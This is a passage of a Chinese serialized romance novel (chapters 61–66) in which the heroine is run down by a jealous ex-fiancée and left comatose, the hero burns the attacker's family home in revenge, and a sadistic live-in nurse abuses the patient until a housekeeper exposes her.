温疏亦趴在浴缸的边上,慵懒地闭着眼睛小憩。 她似乎将自己受到的伤害,已经消化干净。 他脱下衣服,抬腿踏入浴缸,将她搂到了自己身前。 温疏亦吓着了,心咚咚地跳着,“盛珽妄你……” “一起泡泡。”他说。 “不要。”她刚被夏旖旎打了,他又不是不知道,又搞这个,“难道,你不知道,你是一个有未婚妻的人吗?盛珽妄,你就不能放过我吗?” 第61章 你可真渣 “你何尝放过我?”他的唇在她削瘦的肩上亲吻着,“温疏亦,那天很抱歉,我不是有意要伤害你的,我一时失控,以后不会了,相信我,好吗?我向你道歉,别因此,觉得我是恶魔,嗯?” 温疏亦的心又被无形的藤蔓缠得,有一些难过。 她怕是真的。 她无法回避这样的感受。 “盛珽妄,我们……”她想说些什么。 男人摁着她的肩,将她揽到了自己的身前,低头去吻她的唇。 水波荡漾中,她还是推开了他。 “盛珽妄,你这个人怎么还这样啊……”还真是吃着碗里的,看着锅里的,“……我今天被夏旖旎伤害这事,你是不是给忘了?你怎么还敢……唔……” 他再次吻住她的唇。 大手摁着她的瘦薄的背,紧紧地贴在一起。 许久过后。 他才喘息着说,“我退婚了。” “你退婚了?”温疏亦诧然。 “对,我退婚了。”他大手抚着她的小脸,脸上尽是笑意,“开心吗?” 温疏亦:…… 她有什么可开心的。 夏旖旎被退婚。 以她那性子……温疏亦觉得自己是没有好日子过了。 “你可真渣。” 温疏亦扯过浴袍,将自己裹好,走出了浴室。 盛珽妄紧跟着她身后,将她打横抱起,回了卧室。 他在兴头上。 不顾一切地与她接吻。 温疏亦心里很乱,不想跟他亲热,“盛珽妄,就算你和夏旖旎退婚了,也与我没有关系,你最好对我保持最基本的尊重,我又不是卖的。” 况且,卖,还有钱收呢。 盛珽妄可没给过她一分钱。 温疏亦脑子进浆糊了。 她推开盛珽妄,将自己的睡袍重新裹好,“我现在没有心情,先去休息了。” 盛珽妄没勉强。 现在二人之间,没有第三者的存在。 他也愿意将自己的故事,慢慢说给她听。 现在…… 她现在对他和他的故事,都没有兴趣。 他可以慢慢来。 在海棠工作室的工作,每天都排得很满。 她的作品,被一位贵客看上,出了高价,要做一套纪念日的首饰。 叶棠跟温疏亦说这件事情时。 她挺意外的。 “是真的吗?” “当然,因为海棠的品牌在,所以这一套的价值,可能得上千万呢,你的提成差不多有一百万的样子。” 温疏亦捂住因过于惊愕,而张大的嘴巴,“真的吗叶总,提成这么高?” “你挺幸运的。” 叶棠摸了摸鼻尖,谁叫盛珽妄人傻钱多,她是拦也拦不住。 “那需要我跟客户对接吗?”温疏亦精神饱满,“我一定会把工作做好的。” “你只需要跟咱们这边后期的制作就可以,至于客户那边,我亲自接待。” 温疏亦重重点头,“好的叶总。” 回到自己的座位上。 温疏亦掰着手指头,算自己的存款。 虽然还是杯水车薪,但好歹看到了曙光。 晚上下班的时候。 温疏亦给李穗安打了个电话,约她出来吃大排档。 李穗安听说了乔深的事情。 将自己攒的小金库都拿出来了,“疏亦,这是我存的,不多,有二百万的,你先拿去用,不急着还,先给乔深治病,只有他好了,你也就好了。” “我不能要穗安,我今天叫你出来,不是问你借钱的。” 温疏亦开心地与李穗安分享,她在海棠工作室的喜讯,“我有一百多万的提成呢,我真的没有想到,海棠不愧是大公司,我真的太幸运了。” 李穗安:……还有这好事? 不管哪家公司,都是按资排辈,这……有点不合逻辑。 李穗安没有给温疏亦泼冷水。 她现在需要鼓励和认可,“那只能说明,我们家疏亦,是一个天生的设计师,你就是吃这碗饭的。” “咱们可好久没喝点了,喝点。”温疏亦有点撬小辫子。 “好,喝点。” 尽管温疏亦一直在笑。 李穗安却看得很难过。 她那么难。 她可以让乔深保守治疗的。 她问过李江衍,乔深的手术,就算是做了,效果也没有想象中那么明显。 那可是两千多万的治疗费啊。 温疏亦却如此的执着。 她是在期待奇迹吗? 也许吧。 乔深是温疏亦在这个世上,唯一的弟弟了。 父母没了。 弟弟就成了她的执念。 李穗安托着腮,望着眼前这个,被酒气氲红脸的女人。 她突然多了一些自责。 自责自己没有能力,可以帮帮这个好朋友。 “疏亦,你过得累吗?” 温疏亦扬起的唇角,慢慢的泄掉笑意,苦涩地扯了扯,“人,活着,哪有不累的,但我不怕累,以前啊,我是个恋爱脑,为了盛励,我在盛家是当牛又做马的,后来,遇到了盛珽妄……也没有好下场。” “不过没关系,我现在不为男人活了,我有新的奔头,我要把弟弟的病治好,我要把他健康地带到父母的墓前,告诉他们,弟弟找回来了,我已经尽了全力了。” “穗安,你不会懂,一个从小没有爸妈的孩子,对原生家庭血缘关系的珍重,不管有多难,我都会坚持下去的。” 李穗安掉泪了。 她想号啕大哭。 又怕被笑话,一抽一抽地惹得温疏亦想笑,“干嘛呀,李穗安,我还没死呢,把眼泪流着,等我不在这个世上的那天,你再好好地为我哭一场。” “温疏亦,你嘴里就没一句好话,呸,呸,呸。” 结完账,夜色已浓。 温疏亦和李穗安互相搀着,沿着空旷的大马路跌跌撞撞地走。 晚风一吹,酒意上了头,她们开心地唱起歌来。 不成调子的旋律散在寂静的夜里,倒别有一番风味。 突然。 身后一辆白色的轿车,失了控般地撞了过来。 夜很深,路上基本上没有人。 这辆车子的目标,明确,就是马路上的这两个女孩。 不。 准确地说,是温疏亦一个。 驾驶座里,夏旖旎的手死死攥着方向盘,指节绷得发白。 她盯着温疏亦的背影,眼底烧着淬了冰的火。 “温疏亦,”她低声自语,死死盯着目标,“我不屑为了个男人和你撕破脸,” 车速在攀升,仪表盘上的转速越来越快。 “可你不能把我当傻子耍,你凭什么啊?你以为你是谁啊?” “你让我丢尽了脸面,你让我出尽了洋相,盛珽妄用钱买了爷爷的同意,没人在意我的感受。” “我只能选择,送你去见上帝,你放心,我会跟上帝忏悔的。” “去死吧,温疏亦,这是你欠我的……” 夏旖旎牙关一咬,脚下油门猛地踩到底。 车子呼啸着,向温疏亦冲了过去…… 第62章 用我三十年寿命,换她活 对于没有任何防备的两个女人来说。 疾驰而来的失控车辆,无疑是灭顶之灾。 听到轮胎摩擦地面的声音。 李穗安的瞳孔骤缩。 她根本来不及思考,左手已本能地抓向身侧的温疏亦,将人往自己身后、往更靠近路沿的内侧猛拽。 车辆的速度太快了,根本没给她太多的时间。 “疏亦……!” 惊呼被淹没在巨大的撞击声里。 车子结实狠戾地撞上了温疏亦的后腰。 一瞬间,时间凝滞。 温疏亦脸上残留着未及转换的茫然,身体却像抛物线一般地被扔起来,又重重地摔在地面上。 几乎在同一刻,李穗安也被狂暴的冲击力狠狠掼了出去,最后重重砸落,瞬间吞没了所有知觉。 红色的的液体,从两个女人的身下弥漫开来...... 黏稠,刺目。 车内。 夏旖旎握着方向盘的双手,缓缓地松开了。 她脸上的肌肉抽搐着。 像是完成了某种仪式。 血泊中两个静止的、破碎的身影。 就像是她的祭品,已经完成了最神圣的一环。 畅快的笑,从胸腔涌上来,是一种近乎变态的满足…… …… 盛珽妄赶到医院。 顾临一边跟他讲二人的伤势,一边准备去手术室帮助抢救。 “温疏亦的伤更重一些,伤在了脑袋,后腰部位也受损严重,情况看起来十分的糟糕,只能先抢救看看。” 盛珽妄紧绷着表情。 像是对顾临下死命令一般的,“我不管你用什么手段,人,你一定要给我救活,只要活着就行。” “这哪是我说的算的。”顾临叹息为难,“但你放心,我会尽力的。” 盛珽妄停下脚步,扭头看向他,“不是尽力,是一定。” “这……”这不是给他出难题吗? 这时,李江衍走过来,抬手就给了盛珽妄一拳。 没有防备的男人,被打了一个踉跄。 “盛珽妄,要不是你,温疏亦会被撞吗?现在不仅温疏亦生死不明,李穗安的情况也不好,就因为你,两个女人的命,就都要没了,你知不知道?” 顾临急忙拉开李江衍,“他也不知道,会发生这样的事情,你别激动。” “什么他不会知道?他把夏家耍得团团转,人家能咽得下这口气吗?”李江衍将顾临一把推开,眸底是熊熊烈火,“盛珽妄,如果这次温疏亦救不回来,你一辈子吃斋念佛,也无法洗清罪孽。” “李医生,别,别这样……”顾临有心劝几句。 但李江衍没听。 转身去了急救室。 顾临将盛珽妄从地上扶起来,“李穗安是他堂妹,温疏亦呢又是他喜欢的人,他情绪激动,在所难免,你别跟他一般见识。” “他说的没错,如果这次温疏亦出了错,我一定不会原谅自己的。” 急救室里。 集结了医院所有科室的顶尖医生。 两个女人,躺在不同的无影灯下,都在与死神赛跑。 顾临告诉盛珽妄。 这种危重症的手术,稍有差池,人就没了。 让他做好心理准备。 盛珽妄咬碎了牙,把眼泪咽了下去。 去了华阳寺。 一千八百八十八级台阶。 他三跪九叩。 每一跪,每一叩,他都在乞求佛祖可以保佑温疏亦。 香火缭绕,木鱼声缓,檀香的气味沉静。 他向来只信自己,不信神佛。 可如今,却跪在这佛前。 双手合十,指尖因用力而微微发白,背脊深深地躬下去,额头几乎要触到冰冷的蒲团。 “我愿意,用我三十年的寿命,换我太太活着。” 他抬起头,望向面前的主持。 锐利沉静的眼睛里,此刻只剩下恳切与空茫。 他将自己最珍贵的东西笨拙地捧上,只求佛的慈悲。 主持佛目低垂,平静如潭。 片刻,一只温暖而干燥的手轻轻放在了他的头顶。 “佛前许愿,非同儿戏,需以极大的代价为注。施主,当真不悔?” “当真。” 他答得没有丝毫犹豫,只要能换回她,剜心剔骨也甘愿。 主持不再言语,只是缓缓闭上了眼睛。 低沉的诵经声响起,香烟笔直上升,在他的沉默与虔诚前,微微打了个旋…… …… 从寺庙回来。 盛珽妄在车里吸了颗烟。 张纶看着他额头上磕出的伤,递了手帕给他,“三爷,要不,您先去处理一下伤吧?” “不碍事。” 张纶又将手帕给收了回来。 他跟在盛珽妄身边,有些年头了。 肯让他一个无神论者,与神灵交换契约,恐怕只有温疏亦一个人了吧。 又伟大,又唏嘘。 一根烟吸完。 盛珽妄下了车。 医院里急救室的灯,还亮着。 顾临看到他额头上的伤,立马想到了什么,“你不会是……去华阳寺了吧?” “温疏亦的情况怎么样?”他没答,反问。 顾临还不太清楚。 温疏亦的情况比较复杂一些。 “李穗安算是救回来了,温疏亦还在手术,还得再等等情况,你放心吧,脑科大拿都给请来了,应该能保命。” “概率?”他问。 顾临伸出两个手指头,“百分之二十。” “这叫应该能保命?” 顾临搔了搔头发,“温疏亦这种情况,是跟死神抢人,有百分之二十的概率,已经很高了。” 盛珽妄不说话了。 他求过佛祖了。 佛祖不会骗他的。 温疏亦一定会活过来的。 不管她是什么样子,只要是活过来就好。 “珽妄,说句实在的,温疏亦全身上下,几乎都被撞散了架子,就算人活过来,醒过来的几率也不大,而且,她的腰椎受损严重,可能……” 顾临不想说得太严重,打击盛珽妄。 但他是个医生,医生有告知家属,病情的责任,“……可能也瘫了,一辈子在床上,基本的生活都不能自理,你确定……” “你想让我放弃她?”盛珽妄蹙紧眉心。 顾临不想说得这么直接,但这样的人,这辈子可能就得指望着人伺候了。 盛珽妄有钱。 可以雇好的护工,照顾她一辈子不成问题。 问题是,这是他想要的吗? “我是说,退一万步讲,如果温疏亦的情况十分的糟糕,你也要做好心理准备,她也只是能活着,给不了你任何妻子,可以给予的。” 顾临拍了拍盛珽妄的肩,语气沉重,“做为医生,见多了太多的生离死别,其实,有时候,活着,未必有死了幸福。” 第63章 他的爱,在心底烧的很凶 盛珽妄无法认同顾临。 只要人还活着。 他就有还有希望,把她治好。 人死了。 他人生的那盏灯,也就灭了。 离去的不单单是一个人。 “我明白你的意思,但我不会丢下她的。” 顾临不好再劝什么了。 盛珽妄的痴情,远远没有表面上,看起来那么云清风淡。 他爱得很热烈。 只不过,这份热烈,一直在他心底最深处。 并没有浮于表面。 难办。 温疏亦要真出了什么事情,还真不敢想象盛珽妄会做什么。 顾临现在有点,想祈祷温疏亦,留下一口气了。 抢救室里。 还在争分夺秒。 盛珽妄默不作声。 可能是久经沙场,让他面临生死的时候,总有一种,常人无法看透的淡薄。 可他指尖的那串主持给的佛珠,没停过。 此时的他,心里在想的是什么? …… 八个小时的抢救。 温疏亦命大,从死亡线上捡回了一条命。 人昏迷着。 至于能不能醒,没有一个医生敢保证。 李江衍出手术室后,就晕倒了。 顾临有时候,挺敬佩他的。 这人,平时看起来像个柔弱书生,真正在与死神赛跑时,他就像个勇敢的战士。 没错。 他跑赢了。 温疏亦被送进了重症监护室。 而此时的盛珽妄。 已经到了夏家的门口。 夏老爷子不知道发生了什么,对于盛珽妄的到来,有一些错愕。 “珽妄,你过来是……” 盛珽妄没回答他的问题。 动了动手指,声音极为冷淡,“将夏家的人,都请出这房子。” “是。” 张纶带领着手下。 一股脑地冲进了夏宅。 夏老爷子,察觉事态严重,他想到了自己半夜三更回来的孙女。 莫不是她,又去招惹盛珽妄了? “珽妄,是不是旖旎惹你生气了,有什么事情,好好说,爷爷给你做主。” 盛珽妄脸色阴沉,透出一股令人窒息的压迫感。 高大挺拔的身材,在众人面前,像是掌控生死的神。 看着夏家人,一个个地陆续被‘请’出来。 气息一时令夏老爷子,捉摸不透,“珽妄,到底发生了什么事情?” 没人回答夏老爷子的话。 直到夏家清空。 才听到盛珽妄冷戾的声音,再次响起,“烧了。” 听到命令。 手下从车里拿出了若干火把和汽油。 夏老爷子,一看这阵势,要是灭他的家门啊,忙出声阻止,“盛珽妄,你想烧我的家吗?你一声不吭地,就过来搞这一套,你倒是说,发生什么了?死,也让我们死个明白不是吗?否则,想烧我的家,就从我这老头子的尸体上,踏过去吧。” 夏老爷盘腿,坐进了自己的屋子正中央。 盛珽妄给了张纶一个眼神。 几个手下,便把老爷子再次给请了出来。 “夏老,您若真想弄明白,三爷为何动这么大的怒……”张纶垂手立在一旁,语气平静无波,“不如,亲自问问夏小姐。” 他一摆手,身后的人便将夏旖旎带了进来。 夏旖旎下巴微微扬起,脸上不见丝毫慌乱,反倒有种事不关己的倨傲。 甚至从鼻子里轻哼了一声。 “这么大阵仗,”语气里带着不耐烦的讥诮,“看来,是温疏亦那个贱人,好像离死不远了,对吗?” 张纶眼帘微垂,没有应答。 夏老爷子却听得,心头猛地一沉。 拄着拐杖的手不自觉地紧了紧,声音压下:“旖旎!你这话什么意思?你到底做了什么?温疏亦?你对她做了什么?!” “我能做什么呀,爷爷。”夏旖旎撩了撩头发,姿态随意得像在谈论天气,“不过是让那个不知天高地厚、抢别人东西的贱货,付出了点她该付的代价而已。” 她从小被娇纵惯了,捅了再大的篓子,也总有家里出面摆平。 在她看来,昨天她主导的那场车祸,和过去砸了谁家玻璃、划了谁的车没什么本质区别。 从现场离开后,她甚至还绕路去买了杯咖啡,回家泡了个舒服的澡。 一夜好梦。 盛珽妄现在的动静,她只当是男人丢了面子,虚张声势罢了。 “爷爷,您别自己吓自己。”她瞥了一眼盛珽妄那张冷冽的脸,语气笃定又轻蔑,“盛珽妄?他以为他是谁啊,还真敢动我们夏家不成?不过是想吓唬吓唬我们,给温疏亦那个贱货,出口气罢了,您就让他闹,我看他能……” 夏旖旎嘴里的“敢”字还卡在喉咙里。 一个冷淡的不带丝毫情绪的字眼。 从盛珽妄薄唇里出来。 “烧。” 话音落下的瞬间,数个燃着的火把划破空气,精准地投向了早已被汽油浸透的夏家宅院。 “轰!” 火苗爆燃! 灼热的气浪猛地扑来。 滚烫的红色映亮了夏旖旎骤然僵住的脸。 她瞳孔里那点残余的傲慢,瞬间被无边的惊恐和难以置信所覆盖。 真正的毁灭,从来不需要预告。 夏老爷子懵了。 他没有想到,盛珽妄没有给半点情面。 看着自己住了大半辈子的家。 就这样要消失在熊熊熊大火之中。 转身就给了夏旖旎一个狠重的巴掌,“你这个败家子,天底下男人都死光了,你非得为了一个男人,搭进整个夏家?” “爷爷……”夏旖旎也没有想到,盛珽妄这么狠,说烧就烧,“……我,我,我哪知道,他是个变态啊。” “他变态?你呢?”夏老爷子捂着发痛的胸口,几乎喘不过气,“你说你是怎么敢,对盛珽妄的女人,下手的?你的任性把夏家给毁了,你知不知道?你滚,夏家没有你这样的不肖子孙,你滚……” “爷爷……” 夏旖旎哼哧着,捂着生疼的脸,扭头走了。 夏老爷子,终是受不住这样的结局,晕倒了…… 一把火,把夏家烧了。 这是盛珽妄对温疏亦的交代。 但不代表,夏旖旎就可以逃脱罪行。 “跟张局说一声,行凶的人就是夏旖旎,让他尽快结案,说明我的意思,最少二十年。” 张纶点头,“好的,三爷,我这就去办。” 医院里。 重症监护室里的女人,悄无声息,连呼吸也得用呼吸机才能完成。 顾临说。 最好的结果,就是植物人,还是下半身瘫痪的植物人。 盛珽妄心脏沉痛。 顾临还是想劝他放弃,让温疏亦保有体面地走。 盛珽妄哪里舍得。 “能撤呼吸机,就有成为植物人的可能,如果连呼吸机都撤不了,她人……”顾临走过来,与盛珽妄站在一起,透过玻璃,看向床上的病人,“……珽妄,你心里到底是怎么想的?我知道放弃很难,但你看看她这种情况……” 第64章 天大的好事,她成植物人了 “别说了,我不会放弃她的。” 这是他用三十年寿命换来的奇迹。 他如何能放开她的手。 “顾临,我相信,她一定会撤掉呼吸机的,只要撤掉了呼吸机,我就有机会,将她从那片混沌中,拉回来,我有这个信心。” 顾临叹息。 拍了拍盛珽妄的肩,“你可真够执着的。” 除了盛珽妄不想放弃温疏亦。 李江衍更不想放弃。 这几天,他把书都翻烂了,但相关的文献太少,他不停地找自己的老师帮忙。 李穗安很幸运。 她没有伤到大脑,夏旖旎是冲着温疏亦去的,导致她捡回了条命。 但全身的骨头断了很多块。 尤其是颈椎那儿,很凶险。 还好,她醒了。 一醒过来就问李江衍,温疏亦的事情,“疏亦怎么样了?她没事吧?” 李江衍面色低沉。 许久,才说,“她……还在重症监护室,目前无法自主呼吸,情况不太好……” 李江衍哽咽了。 他是医生,他知道这样的病人,一旦在相应的时间内,脱离不了呼吸机,就意味着,她会变成一个活死人。 活死人还不如植物人。 从此她活着的意义,将不存在。 李穗安哭了。 她很自责,如果她再快一点,将温疏亦拽过来,或许她就不会遭遇这些。 “都怪我……” “不怪你,夏旖旎是冲温疏亦去的,你这是命大,别自责。”李江衍揉了揉李穗安的头发,“你好好地把伤养好,别让二叔和婶婶担心。” 李穗安不知道该怎么形容自己的心情。 抱着李江衍哭个不停。 安抚好李穗安。 李江衍去了重症监护室。 盛珽妄还在窗口那站着。 他其实很想冲过去,将他打一顿的。 可是打了又如何。 温疏亦不会立马醒过来,而他心里的怨气,也不会减少半分。 “你不必在这守着,她一时半会儿的,是不会醒过来的。”温疏亦的脑子里有血块,如果自体吸收得不好,大概率永远不会醒过来,“你也不必在这儿惺惺作态,医生和护士比你负责。” 盛珽妄压眉。 惺惺作态? 他担心自己的太太,什么时候,成了一种作秀? “我对疏亦的感情,从没有李医生眼里的那么肤浅。” “是吗?”李江衍唇角勾起一抹嘲弄,“从你的作派来看,你完全没有顾虑过温疏亦的感受,你在感情中,也不过是游戏的态度,现在她躺在那儿,你良心突然发现了,想要做点什么,好让自己过了心里那一关,不是吗?” 盛珽妄轻嗤,“李医生,果然是读过书的人,想法还真是与众不同,不过,让你失望了,我对她从来不是游戏的态度,因为她是我的太太。” “什么?”李江衍震惊,“盛珽妄,你在胡说八道什么?你是疯了吧你。” 盛珽妄淡扫了李江衍一眼。 没有再过多解释。 信也好,不信也罢。 这辈子他也不会再娶第二个人。 哪怕…… 哪怕温疏亦真的不幸离开了这个人世间,他也会守着。 …… 盛珽妄每天都会去一趟医院。 哆哆吵着要妈妈。 他没办法,带他去看了看温疏亦。 儿子哭得很厉害。 “妈妈……我要妈妈。” “妈妈只是睡了,会醒过来的。” 哆哆不信,在盛珽妄的身上扑腾着,“爸爸叔叔坏,爸爸叔叔还我的妈妈……” 哆哆哭的盛珽妄心都要碎了。 可是重症监护室里的女人,还是没什么动静。 不过幸运的是,带儿子看这她几次后。 温疏亦在几次试着脱机中,可以自主呼吸了,这在医生的眼里,是奇迹中的奇迹。 “温疏亦有很强的求生欲望,也可能是放不下的太多,不过,她还在深重度昏迷之中,从临床来说,可以判断为植物人了。” 顾临是这样跟盛珽妄说的。 盛珽妄觉得很幸运。 植物人,至少可以听到他的话,至少在梦里,她是醒着的。 “太好了。” 顾临:…… 盛珽妄高兴地想要欢呼,“顾临,这是很好的开始不是吗?我一定会把温疏亦治好的,一定会的。” “不是,你先别激动,还有一些并发症,我得跟你说一下。”顾临强行摁住盛珽妄,“因为她现在大脑还是有损伤的状态,而且她的腰椎伤得也很厉害,这些,都是不可忽视,就是退一千万步讲,她哪天突然醒了,有可能会失忆,有可能失智,你得有心理准备。” “失忆?”那可太好了,那他可以重新追求她一次,“那是上天对我的馈赠,顾临,无论温疏亦是失去了记忆,还是变成一个小傻子,我都欣然接受。” 顾临无话可说了。 他也是见识到了,一个活阎王变成了恋爱脑。 “行吧,很快,她就会转移到普通病房,到时,你多跟她讲讲话,尤其是让哆哆多来跟她说话,她心里不放心这个孩子,对她的苏醒,是有好处的。” 盛珽妄:“明白。” 顾临要走。 盛珽妄又叫住了他,“乔深手术,还是安排一下吧,买药的钱我来出。” “说实在的,乔深的手术,动不动意义不大,他这个……是心理的毛病,开颅手术,确实能让他清醒一些,但效果没有想象的那么好,两千万,换来一些微小的变化,值得吗?” 站在外人的立场上。 权衡在所难免。 但盛珽妄不能太理智。 “他是温疏亦的亲人,当年,我把他送往了小渔岛,本想着,把他的病症给看透了,有了一定的治疗效果,再带他去见温疏亦……” 谁知道,出了问题。 温疏亦认为,他是把乔深藏起来,不让她见。 坚定地认为,他是在欺骗他。 现如今。 治疗的问题,一直还是个问题。 无论效果有多么的微小,他也要把这事,替温疏亦办了。 “……不管怎么说,乔深是温疏亦的心病,我希望,她再醒来的时候,得到的是弟弟已经手术了的好消息。” “你这个人……” 顾临现在,都不知道用什么形容盛珽妄了。 恋爱脑太肤浅了。 恋爱癌吧,晚期的。 二个聊天的功夫。 叶棠来了。 她得知温疏亦出事后,来过一趟。 但没有见到顾临。 “珽妄。”她走到二人面前,先跟盛珽妄问起了温疏亦的病情,“她情况怎么样了?” “在逐渐变好吧。” 顾临不想加入其中,对盛珽妄说,“你们聊吧,我先去工作了。” “你看,他就是躲我。”叶棠觉得,这么多年没见,顾临还是那样的幼稚,“当年,我走没有考虑他的感受,是我不对,这么多年过去了,他还真的是一点都没有释怀。” “他心还没有放下你,所以,才释怀不了。”盛珽妄看了眼顾临的背影,“他这个人啊,你又不是不知道,在感情上,很傲娇。” 第65章 这个护士是个冒牌的 叶棠摇头。 顾临不是傲娇,是他觉得她的离开是背叛。 一个背叛了自己的女人。 他怎么可能再笑脸相迎呢。 “不说我们了,温疏亦现在这个情况,也是没有想到,你烧了夏家,夏旖旎也被抓了,算是对温疏亦有了个交代,她慢慢会好起来的,别急。” 植物人苏醒的案例不多。 但也不是没有。 他没有想得太过于理想化,也没有抱太多的幻想。 “会的。” 盛珽妄依然还是工作,医院两点一线。 哆哆有家庭育儿师帮忙照顾着,他一周会带儿子来一次医院,跟妈妈说说话。 半年后。 温疏亦的病情趋于稳定。 盛珽妄和顾临商量了一下,把她接回家照顾。 “我表妹赵婧怡刚辞了国外的工作回来,你知道的,她在国外做了很多年的护士,又是自己人,让她去帮忙照顾温疏亦吧。” 顾临给盛珽妄找了个可靠的人。 盛珽妄没有拒绝。 不是他照顾不了温疏亦,是护士对她的照顾,更全面一些。 “你放心,我一周会去给温疏亦检查一次身体。”顾临推了推鼻梁上的眼镜,提到了李江衍,“李医生出国了,去做学术研究,专门是针对植物人康复的,他对温疏亦的事情很上心。” 盛珽妄没说话。 顾临又接着说,“你也别往心里去,大家都希望温疏亦尽快好起来。” 温疏亦出院了。 回了江阳大道的家。 盛珽妄将她安排在了阳光最好的那间卧室里。 每天和她聊天,,成了他的必修课。 温疏亦很安静。 阳光落到她的脸上,睫毛根根分明,像个睡美人。 他跟家里的育儿师交代过了,他去工作的时候,让她们常带哆哆过来跟妈妈说说话。 这天…… 哆哆在育儿师的带领下,又来了温疏亦的房间。 小家伙抱着妈妈的手,亲了亲,开始给她唱歌。 坐在阳台嗑瓜子的赵婧怡,听着小孩子的声音,心烦得厉害。 “小子,别唱了。” 小孩哆歪头看向赵婧怡,单纯的大眼睛眨眨,“护士阿姨,我为什么,不能给妈妈唱歌听?” “因为你好吵,我现在不想听到你的声音,younow?” 育儿师看小家伙有一些委屈。 忙解释,“赵护士,盛先生吩咐过了,要小哆哆常常过来跟妈妈讲话,以助于苏醒,你不让哆哆唱歌,这……不太合适吧?” “哪里不合适了?”赵婧怡将手中的瓜子,狠摔在瓜子盘里,“我是护士,我懂,还是你们懂,让个小孩子,在这儿叽叽喳喳得没完没了的,好人也叫他吵死了,还指望能活过来,做梦呢。” “你……”育儿师被赵婧怡难听的话,给气到了,“……你怎么说话这么难听呢,这是盛先生吩咐的,就算是病人没有好转,你也不能阻止吧?” 赵婧怡被激怒了。 她走到育儿师面前,抬手就扇了她一个巴掌,“你算个什么东西,跟我顶起嘴来了,我告诉你,盛珽妄是我哥,我不是亲妹,胜似亲妹,这个家,我就说了算,你们一个个的,别试图挑战权威,没好下场。” 赵婧怡横眉,警告育儿师。 大有一副,这个家盛珽妄在不,她就是大王的劲头在里面。 育儿师看她一副不讲道理的模样,怕哆哆吓着,将他抱走了。 赵婧怡啐了句英文脏话。 走到温疏亦的病床上,抬手就给了她两巴掌。 打完还不过瘾,还掐着她的脖子,直到仪器发出报警的声音,她才忿恨地停下来。 温疏亦的小手指。 因为这个刺激,微不可见地动了动。 “都这样了,还不去死,活个什么劲儿啊。”赵婧怡对温疏亦的敌意很大。 她讨厌,盛珽妄对温疏亦好。 一个植物人。 在国外,都是被家人抛弃的。 盛珽妄还当个宝似的。 “温疏亦,要不你去死吧,好吧?我帮你解脱。”赵婧怡狠狠地在温疏亦的上臂内侧,拧了一把,“我可有很多种,神不知鬼不觉,让你死掉的办法,你放心,我会让你死得没有痛苦……” 赵婧怡笑了。 在国外,她就喜欢虐待病人。 被家人重视的,没有意识的,尤其是她的最爱。 温疏亦这种被盛珽妄视若珍宝的,更是她梦中情患。 不是因为她嫉妒温疏亦有盛珽妄这样的爱人。 她就是单纯变态。 回国的原因,就是因为她照顾的病人,十有八九都死掉了,被投诉的多了,医院开始调查,她心虚,就趁机跑回了国。 顾临不知道赵婧怡变成了个恶魔。 还将她推荐给了盛珽妄。 盛珽妄和赵婧怡从小就认识。 也并没有怀疑过她的动机。 她便顺理成章地住进了家里。 时间一长,她就开始原形毕露起来。 但在盛珽妄的面前,她还是扮演着尽心尽责,照顾病人的护士。 私下里,对着哆哆吼。 打骂育儿师。 还时不时的,在一起看不到见的地方,虐待温疏亦。 最先发现不对劲的是王婶。 那天,她接到盛珽妄打来的电话,说是天气好,让她帮着赵婧怡将温疏亦推到楼顶的露台上,去晒晒太阳。 她刚要把这事,跟赵婧怡讲时。 发现她正在给温疏亦注射不明的液体,“你在干什么?” 赵婧怡手一抖。 那还没来得及扎进手臂的针管,失手掉到了地上。 她从容地捡起针管,“我干什么,还要跟你一个老妈子讲?我是负责照顾温疏亦的护士,你最好少问。” 王婶没什么文化。 但她知道,这药可不是随便就能打的。 得有医嘱啊。 在赵婧怡又一次,准备将药打进温疏亦的身体时,她一个箭步冲过去,将针管夺了下来。 “你这个护士是个冒牌的吧?你打的这是什么呀?跟三爷讲了吗?你这个假洋鬼子,整天一句人话不说,对着我们骂来骂去的,我都忍你了,你还作起妖来了。” 赵婧怡立马瞪起眼来。 她扬手就要打王婶巴掌。 被王婶眼疾手快地扣住了手腕,“你还想打人?赵护士,我是不是可以理解,你这是做贼心虚啊?你是要害小温是不是?” “你个死老太婆,真能多管闲事。” 赵婧怡和王婶扭打起来。 刚好这时,盛珽妄回来了。 他听到温疏亦房间里有动静,便快步走了过去…… 王婶用力将赵婧怡推倒,把她要给温疏亦打针的针管,交给了盛珽妄,“三爷,这个人没安好心,她也不知道要给小温注射什么,被我发现了,还跟我扭打起来,小样的,我王美霞什么人没见过,还怕你个小鸡仔子。” 第66章 害死病人 盛珽妄墨眸微压。 针?药? 锐利中带着杀气的眼神,扫向了赵婧怡,质问道,“这是什么东西?” “珽妄哥,你别听王婶胡说,是她……”赵婧怡当场反咬,“……是王婶她,想给温疏亦打什么针,我发现了,珽妄哥,是我发现了,我刚要制止,你就来了,她……她是个坏人。” 王婶活这大半辈子了。 竟然被泼上脏水上了。 叔可忍,婶也无法忍。 “没想到,你年纪轻轻的,心眼坏到生虫烂了,我又不是护士,我哪来的针管哪来的药?”王婶想跟盛珽妄解释一下。 他抬了抬指尖。 空气骤然静了下来。 赵婧怡张了张嘴,终究没敢再出声。 盛珽妄脚步沉重。 一贯凛冽的眸子里,此刻翻涌着对赵婧的失望。 “我和顾临,”他声音很低,却字字清晰,“从小一起长大,是可以穿一条裤子的交情……” 他顿了一下,眸底是对赵婧怡失去耐心的压抑,“你真的是给顾临丢脸。” 几个字,是从齿缝里挤出来的。 赵婧怡身子软了一下。 在国外每年都害死那么多病人,她没有心慌。 为什么盛珽妄,几句话,她就慌得不行。 “珽妄哥,你听我解释……” 盛珽妄没再看,赵婧怡瞬间苍白的脸。 他大步走到温疏亦的病床前,停下。 她安静地沉睡着,苍白,脆弱。 她都不认识赵婧怡,无冤无仇的,就要受到伤害…… 他伸出手,指尖很轻,将被角掀开。 平时被妥帖衣物遮挡,看不见的地方,他仔细地检查着。 纤细的手臂内侧,腰间,大腿根,甚至…… 到处都是触目惊心的痕迹。 有的是血瘀,有些地方,皮肉甚至带着未褪尽的红肿。 盛珽妄捏着被角的指尖,开始不受控地颤抖。 不是愤怒,是一种比愤怒更尖锐、更沉重的东西,像烧红的烙铁,一下一下,将他心口最软的地方烫熟。 他竟然…… 让温疏亦,在他的眼皮子底下,受了这样的苦。 不会说话,不会喊疼,连皱眉都不会,就活该受这样的虐待? 盛珽妄眼底猩红的血色,开始蔓延。 剧烈起伏的胸口,像要喷发的火山,几乎要将他撕裂。 他竟让她,这样孤单无助的,承受了这么多。 他竟然……一无所知。 “王婶,给顾医生打电话,让他过来。” 